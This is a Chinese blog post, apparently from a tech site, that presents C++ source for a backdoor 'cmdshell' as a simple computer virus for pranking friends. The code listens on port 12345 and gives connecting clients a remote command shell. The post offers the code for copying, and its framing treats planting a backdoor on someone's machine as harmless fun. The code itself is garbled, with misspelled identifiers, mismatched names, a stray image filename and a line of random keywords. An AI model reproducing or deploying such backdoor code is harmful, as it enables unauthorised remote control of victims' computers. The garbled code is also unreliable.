如何制作一个计算机病毒,怎样制作一个简单的电脑病毒

如何才能做出一个简单的电脑病毒呢!和朋友们开开小玩笑呢!下面由学习啦小编给你做出详细的制作简单的电脑病毒介绍!希望对你有帮助!

制作简单的电脑病毒介绍:

这是个简单的后门(cmdshell)

#i nclude

int main(int argc,char*argv[])

{

return 0;

}//这个大家都知道了然后添加头文件C m d S h e l l.h跟Socket.h

#i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy

#i nclude "Cmdshell.h"

#i nclude"SocketEX.h"

int main(int argz,char* argv[])

{

CSocketEX client,server;

//

server.Create(12345,NULL)//

a77847d4d7a9a92a8a833cdfd831137d.png

//

server.Listen()://

while(1)//

#i nclude

{

server.Accept(client);//

SOCKET whi =client.Detach();

//

CreateThread(0,0.(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)'

//

}

}

void TalkWithCliet(void cs*)

{

SOCKET wsc=(SOCKET)cs;//

c.Attach(wsc);//

char *cmd;//

c.Send("Welcome TO CmdShell\r\n"),strlen("Welcome TO CmdShell\r\n"));

//

while(1);//

{

c.Send("#",stelen("#"));

//

cmd=recvcmd(c);

//

/******得到cmd shell*************/

if (strcmp(cmd ,"shell")==0

{

CCmdShell cmdshell

//

cmdshell.LetUsGo(c.m_hSocket);

//

continue;

}

//

/**************断开连接*************/

if (strcmp(cmd,"quit")==0)

{break;}

//

if(c.m.h_Socket==INVALD_SOCKET)

{break;}

//

if(wsc==INVALID_SOCKET)

{break}

} wsc jasd break void continue if wcs char while int email if !//sdh

return

//

closesocket(wsc);

}

char*recvcmd(CSocketEx&c)//

{

char*cmd;//

charbuf[32];//

char chr[1];//

int i=0;

ZeroMemory(but,32);//

while(i<32);//

{

if(!c.Receive(chr,1)c.Close();//

buf[i]=chr[0];//

if(chr[0]==oxa||chr[0]==oxa)//

{

buf[i]=0;

break;

}

i++;

}

cmd=but;//

return cmd;//

}

以上是c++代码,复制即可,希望对你有帮助!

看了“怎样制作一个简单的电脑病毒”文章的还看了:

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值